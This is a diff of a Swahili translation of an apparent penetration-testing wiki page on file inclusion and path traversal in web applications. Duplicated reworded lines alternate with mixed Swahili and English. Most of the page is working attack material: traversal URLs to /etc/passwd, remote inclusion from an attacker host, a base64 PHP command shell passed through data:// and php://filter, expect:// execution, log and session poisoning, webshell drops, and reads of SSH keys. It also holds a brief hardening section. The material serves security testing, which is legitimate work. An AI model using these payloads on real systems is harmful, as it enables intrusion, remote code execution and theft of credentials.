paths katika web applications. Mara nyingi hutumika kupata files zilizofungiwa kwa kuruka baadhi ya hatua za usalama zinazoongeza herufi za ziada mwishoni mwa file paths. Lengo ni kuunda file path ambayo, mara itakapobadilishwa na hatua ya usalama, bado itaonyesha file inayotakiwa. +Path truncation ni mbinu inayotumika kubadilisha njia za faili katika maombi ya wavuti. Mara nyingi hutumiwa kupata faili zilizofungwa kwa restriction kwa kuzipita hatua fulani za usalama zinazoongeza tabia za ziada mwishoni mwa njia za faili. Lengo ni kubuni njia ya faili ambayo, mara itakaporudiwa na hatua ya usalama, bado inaelekeza kwa faili inayotakikana. -In PHP, uwakilishi mbalimbali wa file path unaweza kuchukuliwa kuwa sawa kutokana na tabia ya file system. Kwa mfano: +Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa kutokana na tabia ya mfumo wa faili. Kwa mfano: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` zote huchukuliwa kuwa path ileile. -- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. -- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kufanya kuwa `passwd/`) hakubadilishi faili lengwa. +- Vivyo hivyo, ikiwa `.php` imeambatishwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilisha faili inayofikiwa. -Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kufikia `/etc/passwd`, lengo la kawaida kutokana na yaliyomo hatarishi (taarifa za akaunti za watumiaji): +Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kupata `/etc/passwd`, lengo la kawaida kutokana na yaliyomo yake nyeti (taarifa za akaunti za watumiaji): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Katika senario hizi, idadi ya traversals zinazohitajika inaweza kuwa karibu 2027, lakini namba hii inaweza kutofautiana kulingana na usanidi wa server. +Katika matukio haya, idadi ya traversals zinazohitajika inaweza kuwa takriban 2027, lakini namba hii inaweza kutofautiana kulingana na usanidi wa server. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) pamoja na dot segments za ziada na characters zinaweza kutumika kuvinjari mfumo wa faili, huku zikifanya server ipuuze nyongeza (kama `.php`) zilizoongezwa. -- **Determining the Required Number of Traversals**: Kwa jaribio na makosa, mtu anaweza kupata idadi sahihi ya `../` inayohitajika kufika kwenye root directory kisha `/etc/passwd`, akiweka uhakika kwamba nyongeza zozote (kama `.php`) zimefanywa zisifanye kazi lakini path inayotakiwa (`/etc/passwd`) inabaki isiyoharibiwa. -- **Starting with a Fake Directory**: Ni desturi ya kawaida kuanza path na directory isiyokuwepo (kama `a/`). Mbinu hii hutumika kama tahadhari au kutimiza mahitaji ya mantiki ya server katika kuchambua path. +- **Using Dot Segments and Additional Characters**: Mfululizo wa traversals (`../`) uliounganishwa na sehemu za ziada za nukta na herufi unaweza kutumika kuvinjari mfumo wa faili, ukiepuka kwa ufanisi nyuzi zilizoambatanishwa na server. +- **Determining the Required Number of Traversals**: Kupitia majaribio na makosa, mtu anaweza kubaini idadi sahihi ya `../` zinazohitajika kufika kwenye root directory kisha hadi `/etc/passwd`, kuhakikisha kwamba nyuzi zilizoambatanishwa (kama `.php`) zimeghairiwa lakini njia inayohitajika (`/etc/passwd`) inabaki. +- **Starting with a Fake Directory**: Ni desturi ya kawaida kuanza njia na saraka isiyokuwepo (kama `a/`). Mbinu hii hutumika kama tahadhari au kutimiza mahitaji ya mantiki ya kuchambua njia ya server. -When employing path truncation techniques, ni muhimu kuelewa tabia ya server katika kuchambua path na muundo wa mfumo wa faili. Kila senario inaweza kuhitaji mbinu tofauti, na mara nyingi majaribio yanahitajika ili kugundua njia yenye ufanisi zaidi. +Unapotumia path truncation techniques, ni muhimu kuelewa tabia ya server katika kuchambua njia na muundo wa filesystem. Kila tukio linaweza kuhitaji mbinu tofauti, na mara nyingi vipimo vinahitajika ili kupata njia yenye ufanisi zaidi. -**Udhaifu huu ulirekebishwa katika PHP 5.3.** +**This vulnerability was corrected in PHP 5.3.** ### **Filter bypass tricks** ``` @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -Katika php hili limezimwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Inapaswa kuwa **On** ili lifanye kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwenye seva yako na kupata RCE: +Katika php hii imezimwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Inapaswa kuwa **On** ili iweze kufanya kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwenye server yako na kupata RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP iko kwenye **filtering** ya upatikanaji wa kurasa za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano data protocol pamoja na base64 ku-decode msimbo wa PHP wa b64 na kupata RCE: +Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inazuia upatikanaji wa tovuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano data protocol kwa base64 ili ku-decode msimbo wa b64 PHP na kupata RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji string iliyomalizika na `.txt`, hivyo string inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na PHP halisi itajumuishwa (na kwa hivyo, itatekelezwa). +> Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji kamba iliyomalizika na `.txt`, hivyo kamba inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na kwa hivyo, utekelezwe). -Mfano mwingine **kutokutumia `php://` protocol** ungekuwa: +Mfano mwingine **usiotumia `php://` protokoli** ungekuwa: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Python Kipengele cha mzizi -Katika python, katika msimbo kama huu: +Katika Python, katika msimbo kama huu: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Ikiwa mtumiaji anapitisha **absolute path** kwa **`file_name`**, **njia ya awali inaondolewa tu**: +Ikiwa mtumiaji anapitisha **absolute path** kwa **`file_name`**, **path iliyotangulia inaondolewa tu**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` Hii ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Ikiwa sehemu ni absolute path, vipengele vyote vya awali vinatupwa na kuunganishwa kunaendelea kutoka kwa sehemu ya absolute path. +> Ikiwa sehemu ni njia kamili, vipengele vyote vilivyopita vinatupwa na kuunganishwa kunaendelea kutoka kwenye sehemu ya njia kamili. -## Java: Kuorodhesha Folda +## Java Orodha za Saraka -Inaonekana kwamba ikiwa una Path Traversal katika Java na ukaomba **folda** badala ya faili, **orodha ya folda inarudishwa**. Hii haitatokea katika lugha nyingine (kwa kadri ninavyojua). +Inaonekana kwamba ikiwa una Path Traversal katika Java na una **omba saraka** badala ya faili, **orodha ya saraka inarudishwa**. Hii haitatokea katika lugha zingine (kwa kadiri ninavyojua). ## Vigezo 25 vya Juu -Hapa kuna orodha ya vigezo 25 za juu ambazo zinaweza kuwa hatarini kwa local file inclusion (LFI) vulnerabilities (kutoka [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Hapa kuna orodha ya vigezo 25 vya juu ambazo zinaweza kuwa hatarini kwa local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ Hapa kuna orodha ya vigezo 25 za juu ambazo zinaweza kuwa hatarini kwa local fil ?mod={payload} ?conf={payload} ``` -## LFI / RFI using PHP wrappers & protocols +## LFI / RFI kutumia PHP wrappers & protocols ### php://filter -PHP filters zinaruhusu kufanya operesheni za msingi za **mabadiliko ya data** kabla ya kusomwa au kuandikwa. Kuna aina 5 za filters: +PHP filters allow perform basic **operesheni za mabadiliko kwenye data** kabla data kusomwa au kuandikwa. Kuna aina 5 za filters: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Ondoa tags kutoka kwenye data (kila kitu kati ya "<" na ">" chars) +- `string.strip_tags`: Ondoa tags kutoka kwenye data (kila kitu kati ya "<" na ">" alama) - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l` +- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . Ili kupata **orodha ya encodings zote zinazoungwa mkono** endesha kwenye console: `iconv -l` > [!WARNING] -> Kwa kutumia vibaya conversion filter ya `convert.iconv.*` unaweza **kutengeneza maandishi yoyote**, ambayo inaweza kuwa muhimu kuandika maandishi yoyote au kufanya function kama include isindike maandishi hayo. Kwa maelezo zaidi angalia [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Kwa kutumia vibaya filter ya conversion `convert.iconv.*` unaweza **kutengeneza maandishi yoyote**, ambayo inaweza kusaidia kuandika maandishi yoyote au kumfanya function kama include kushughulikia maandishi yoyote. Kwa maelezo zaidi angalia [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info) -- `zlib.inflate`: Decompress the data +- `zlib.deflate`: Inapunguza ukubwa wa maudhui (useful if exfiltrating a lot of info) +- `zlib.inflate`: Rejesha data iliyobanwa - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Deprecated - `mdecrypt.*` : Deprecated -- Other Filters -- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**: +- Filters Nyingine +- Ukiendesha ndani ya php `var_dump(stream_get_filters());` utapata jozi ya **filters zisizotarajiwa**: - `consumed` -- `dechunk`: reverses HTTP chunked encoding +- `dechunk`: huondoa HTTP chunked encoding - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> Sehemu "php://filter" haitegemei herufi (case insensitive) +> Sehemu "php://filter" haina utofauti kati ya herufi kubwa na ndogo ### Kutumia php filters kama oracle kusoma faili yoyote -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) imependekezwa mbinu ya kusoma faili ya ndani bila kupata output ikirejeshwa na server. Mbinu hii inategemea **boolean exfiltration of the file (char by char) using php filters** kama oracle. Hii ni kwa sababu php filters zinaweza kutumika kufanya maandishi kuwa makubwa vya kutosha hadi php itokee exception. +[**Katika chapisho hiki**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) imependekezwa mbinu ya kusoma faili ya ndani bila kupata output ikirudishwa na server. Mbinu hii inategemea **boolean exfiltration of the file (char by char) using php filters** kama oracle. Hii ni kwa sababu php filters zinaweza kutumika kufanya maandishi kuwa marefu vya kutosha hadi php kusababisha exception. -Katika original post unaweza kupata maelezo ya kina ya mbinu, lakini hapa ni muhtasari mfupi: +Katika chapisho la awali unaweza kupata maelezo ya kina ya mbinu, lakini hapa kuna muhtasari mfupi: -- Tumia codec **`UCS-4LE`** ili kuweka herufi ya mbele ya maandishi mwanzoni na kufanya ukubwa wa string kuongezeka kwa mfumuko. -- Hii itatumika kuzalisha **maandishi ambayo ni makubwa sana wakati herufi ya kwanza inakisia kwa usahihi** kiasi kwamba php itasababisha **error**. -- The **dechunk** filter itakayokuwa inafanya **remove everything if the first char is not an hexadecimal**, kwa hivyo tunaweza kujua kama herufi ya kwanza ni hex. -- Hii, ikichanganywa na ile ya hapo juu (na filters nyingine kulingana na herufi inayokisia), itaturuhusu kukisia herufi mwanzoni kwa kuona lini tunafanya mabadiliko ya kutosha kuifanya isiwe tabia ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitafuta na bomu la mwanzo litasababisha php error. -- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). Hii inatuwezesha kugundua kama herufi ya kwanza ni `a`, kwa mfano, kwa sababu tukitumia codec hii mara 6 a->b->c->d->e->f->g herufi haitakuwa tena katika safu ya hexadecimal; hivyo dechunk haitaitoa na php error itachochewa kwa sababu inazidisha na bomu la mwanzo. -- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana ku leak herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamisha herufi nyingine katika safu ya hex). -- Wakati herufi ya mwanzo ni namba ni lazima ui- base64 encode na leak herufi 2 za kwanza ili kupata namba. -- Tatizo la mwisho ni kuona **jinsi ya leak zaidi ya herufi ya mwanzo**. Kwa kutumia order memory filters kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za maandishi. -- Na ili kuwa na uwezo wa kupata **further data** wazo ni **kuzalisha bytes 2 za takataka mwanzoni** kwa **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kuifanya **pivot with the next 2 bytes**, na d**elete the data until the junk data** (hii itatoa bytes 2 za mwanzo za maandishi ya awali). Endelea kufanya hivi hadi ufikie sehemu unayotaka ku leak. +- Tumia codec **`UCS-4LE`** kuweka herufi ya kwanza ya maandishi mwanzoni na kufanya ukubwa wa string ongezeke kwa kasi. +- Hii itatumika kuunda **maandishi ambayo ni makubwa sana wakati herufi ya mwanzo inagongwa kwa usahihi** kiasi kwamba php itasababisha **error** +- Filter ya **dechunk** itaondoa kila kitu ikiwa char ya kwanza si hexadecimal, hivyo tunaweza kujua ikiwa char ya kwanza ni hex. +- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi inayokadiriwa), itaturuhusu kugundua herufi mwanzoni mwa maandishi kwa kuona wakati tunapofanya mabadiliko ya kutosha ili kuifanya isiwe tabia ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litasababisha php error. +- Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua kama herufi ya kwanza ni `a` kwa mfano kwa sababu tukitumia mara 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena tabia ya hexadecimal, kwa hiyo dechunk haitaiondoa na php error itachochewa kwa sababu inazidisha na bomu la awali. +- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana leak herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kusogeza herufi nyingine kwenye safu ya hex). +- Wakati char ya mwanzo ni nambari inahitajika ku-encode kwa base64 na leak herufi 2 za kwanza ili leak nambari hiyo. +- Tatizo la mwisho ni kuona **jinsi ya leak zaidi ya herufi ya mwanzo**. Kwa kutumia order memory filters kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa chars na kupata katika nafasi ya kwanza herufi nyingine za maandishi. +- Na ili kuwa na uwezo wa kupata **further data** wazo ni **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak. -Katika post pia ilifichuliwa zana ya kufanya hii kiotomatiki: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Katika chapisho pia ilitolewa tool ya kufanya hili kiotomatiki: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Wrapper hii inaruhusu kufikia file descriptors ambazo process imefungua. Inaweza kuwa muhimu kuexfiltrate content ya files zilizo wazi: +Wrapper hii inaruhusu kufikia file descriptors ambazo process imefungua. Inaweza kuwa muhimu ku-exfiltrate yaliyomo ya files zilizo wazi: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Unaweza pia kutumia **php://stdin, php://stdout and php://stderr** kufikia **file descriptors 0, 1 and 2** mtawalia (sijui jinsi hii ingekuwa muhimu katika shambulio) +Unaweza pia kutumia **php://stdin, php://stdout and php://stderr** kufikia **file descriptors 0, 1 and 2** mtawalia (sina uhakika jinsi hili lingekuwa la msaada katika shambulio) ### zip:// and rar:// -Pakia faili la Zip au Rar lenye PHPShell ndani na ufikie it.\ -Ili kuweza kutumia vibaya rar protocol, **inahitaji kuamilishwa kwa njia maalum**. +Pakia faili la Zip au Rar lenye PHPShell ndani na upate ufikaji wake.\ +Ili uweze kutumia protokoli ya rar kwa matumizi mabaya, inahitaji **kuamilishwa maalum**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Kumbuka kwamba itifaki hii imezuiwa na usanidi wa php **`allow_url_open`** na **`allow_url_include`** +Kumbuka kuwa itifaki hii imezuiwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`** ### expect:// -Expect inapaswa kuamilishwa. Unaweza execute code kwa kutumia hii: +Expect lazima iwe imewezeshwa. Unaweza kuendesha code kwa kutumia hii: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data " [!WARNING] -> Mbinu hii inahusu matukio ambapo **undhibiti** **njia ya faili** ya **function ya PHP** ambayo itafikia faili lakini hautaona yaliyomo ya faili (kama simu rahisi kwa **`file()`**) lakini yaliyomo hayajaonyeshwa. +> Teknika hii inahusiana katika kesi ambapo una **control** ya **file path** ya **PHP function** itakayofanya **access a file** lakini hautaona content ya file (mfano: simu rahisi ya **`file()`**) na content haijaonyeshwa. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezea jinsi blind path traversal inaweza kutumiwa kupitia PHP filter ili **exfiltrate the content of a file via an error oracle**. -Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** ili kufanya yaliyomo ya faili kuwa hivyo **big** kiasi kwamba **PHP function inayofungua** faili itasababisha **kosa**. +Kwa muhtasari, teknika inatumia **"UCS-4LE" encoding** kufanya content ya faili kuwa kubwa kiasi kwamba **PHP function** inayofungua faili itasababisha **error**. -Kisha, ili leak char ya kwanza filter **`dechunk`** inatumiwa pamoja na nyingine kama **base64** au **rot13**, na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumiwa kuweka chars nyingine mwanzoni na leak hizo. +Kisha, ili leak the first char filter **`dechunk`** inatumiwa pamoja na wengine kama **base64** au **rot13**, na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumika kuweka chars nyingine mwanzoni na kuzileak. -**Functions ambazo zinaweza kuwa hatarini**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Kwa maelezo ya kiufundi angalia chapisho lililotajwa! @@ -427,20 +427,20 @@ Kwa maelezo ya kiufundi angalia chapisho lililotajwa! ### Arbitrary File Write via Path Traversal (Webshell RCE) -When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. +Wakati server-side code inayopokea/uploads files inajenga destination path kwa kutumia data inayodhibitiwa na mtumiaji (mfano, filename au URL) bila ku-canonicalize na ku-validate, segments za `..` na absolute paths zinaweza kutoroka directory iliyokusudiwa na kusababisha arbitrary file write. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonyeshwa kwenye web, kawaida unapata unauthenticated RCE kwa kutupa webshell. Typical exploitation workflow: -- Tambua primitive ya kuandika katika endpoint au background worker inayokubali path/filename na inaandika content kwenye disk (mfano, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). -- Tambua web-exposed directories. Mifano ya kawaida: -- Apache/PHP: `/var/www/html/` -- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` -- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Tengeneza traversal path inayovunja kutoka directory ya kuhifadhi yaliyokusudiwa hadi webroot, na jumuisha webshell content yako. -- Tembelea payload uliouacha na utekeleze amri. +- Tambua write primitive katika endpoint au background worker inayokubali path/filename na kuandika content kwenye disk (mfano: message-driven ingestion, XML/JSON command handlers, ZIP extractors, n.k.). +- Tambua directories zinazoweza kuonyeshwa kwenye web. Mifano ya kawaida: + - Apache/PHP: `/var/www/html/` + - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` + - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Tengeneza traversal path inayovunja kutoka storage directory iliyokusudiwa hadi webroot, na ujumuishe webshell content yako. +- Tembelea payload uliyoacha na utekeleze amri. -Vidokezo: -- Huduma iliyo vulnerable inayofanya uandikaji inaweza kusikiliza kwenye port isiyo-HTTP (mfano, a JMF XML listener on TCP 4004). Portal kuu ya web (port tofauti) baadaye itahudumia payload yako. -- Katika stacks za Java, uandishi wa faili mara nyingi umefanywa kwa concatenation rahisi ya `File`/`Paths`. Ukosefu wa canonicalisation/allow-listing ndio kasoro kuu. +Notes: +- The vulnerable service inayofanya write inaweza kusikiliza kwenye non-HTTP port (mfano, JMF XML listener kwenye TCP 4004). The main web portal (port tofauti) baadaye itahudumia payload yako. +- Kwenye Java stacks, file writes hizi mara nyingi zinafanywa kwa concatenation rahisi ya `File`/`Paths`. Ukosefu wa canonicalisation/allow-listing ndilo kosa kuu. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,26 +466,26 @@ in.transferTo(out);
``` -Uimarishaji unaozuia aina hii ya hitilafu: -- Tathmini kuwa path ni canonical na uhakikishe ni subdirectory ya directory ya msingi iliyoorodheshwa. -- Kataa path yoyote yenye `..`, root za absolute, au herufi za drive; pendelea majina ya faili yaliyozalishwa. -- Endesha writer kama akaunti yenye vibali vidogo na gawanya directories za kuandika kutoka kwa served roots. +Mikakati ya kuimarisha ambayo huondoa aina hii ya bugs: +- Tumia njia kanoni (canonical path) na hakikisha kuwa ni chini ya directory ya msingi iliyoorodheshwa (allow-listed). +- Kataa njia yoyote yenye `..`, absolute roots, au drive letters; tumia zaidi majina ya faili yaliyotengenezwa. +- Endesha mchakato wa kuandika (writer) kama akaunti yenye haki ndogo (low-privileged) na tofautisha directory za kuandika kutoka kwa served roots. ## Remote File Inclusion -Explained previously, [**follow this link**](#remote-file-inclusion). +Imeelezwa hapo awali, [**follow this link**](#remote-file-inclusion). -### Via Apache/Nginx log file +### Kupitia Apache/Nginx faili ya logi If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **``** and include that file > [!WARNING] -> Kumbuka kwamba **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**. +> Kumbuka kwamba **ukitumia double quotes** kwa shell badala ya **simple quotes**, double quotes zitatabadilishwa kwa string "_**quote;**_", **PHP itatoa kosa** hapo na **hakutakuwa na kitu kingine kitakachotekelezwa**. > -> Pia, hakikisha umeandika payload ipasavyo au PHP itatoa kosa kila mara itakapojaribu kupakia log file na hautapata nafasi ya pili. +> Pia, hakikisha una **andika payload vizuri** au PHP itatoa error kila mara inapojaribu kupakia faili ya logi na hutaweza kupata nafasi ya pili. This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\ -Njia nyingine za log zinazowezekana: +Njia nyingine zinazowezekana za logi: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -501,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Kupitia Barua pepe -**Tuma barua pepe** kwa akaunti ya ndani (user@localhost) ambayo ina PHP payload yako kama `` na ujaribu kuijumuisha katika barua pepe ya mtumiaji kwa njia kama **`/var/mail/`** au **`/var/spool/mail/`** +**Tuma barua pepe** kwa akaunti ya ndani (user@localhost) yenye PHP payload yako kama `` na jaribu ku-include barua pepe ya mtumiaji kwa path kama **`/var/mail/`** au **`/var/spool/mail/`** -### Kupitia /proc/*/fd/* +### Kupitia /proc/\*/fd/\* -1. Pakia shells nyingi (kwa mfano: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ambapo $PID = PID ya process (can be brute forced) na $FD ni file descriptor (can be brute forced too) +1. Pakia shells nyingi (kwa mfano : 100) +2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), na $PID = PID ya mchakato (can be brute forced) na $FD ni file descriptor (can be brute forced too) ### Kupitia /proc/self/environ -Kama faili ya log, tuma payload kwenye User-Agent; itaonekana ndani ya faili /proc/self/environ +Kama faili la log, tuma payload katika User-Agent, itaonekana ndani ya /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Kupitia upload +### Kupakia -Ikiwa unaweza upload faili, ingiza tu shell payload ndani yake (e.g : `` ). +Ikiwa unaweza kupakia faili, ingiza shell payload ndani yake (e.g : ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Ili kufanya faili iwe rahisi kusomeka, ni bora kuingiza kwenye metadata ya picha/doc/pdf +Ili faili isomeke vizuri ni bora kuingiza kwenye metadata ya picha/doc/pdf -### Kupakia faili la ZIP +### Kupitia ZIP file upload -Pakia ZIP file iliyo na PHP shell iliyobanwa, kisha upate ufikiaji: +Pakia ZIP file inayojumuisha PHP shell iliyobanwa kisha ufikie: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Kupitia PHP sessions -Angalia kama tovuti inatumia PHP Session (PHPSESSID) +Angalia ikiwa tovuti inatumia PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -Katika PHP sessions hizi zinahifadhiwa ndani ya _/var/lib/php5/sess\\_\[PHPSESSID]\_ files +Katika PHP vikao hivi vinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ mafaili ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -551,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Kupitia ssh -Ikiwa ssh iko active, angalia ni user gani anatumika (/proc/self/status & /etc/passwd) na jaribu kufikia **\/.ssh/id_rsa** +Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anayetumika (/proc/self/status & /etc/passwd) na jaribu kufikia 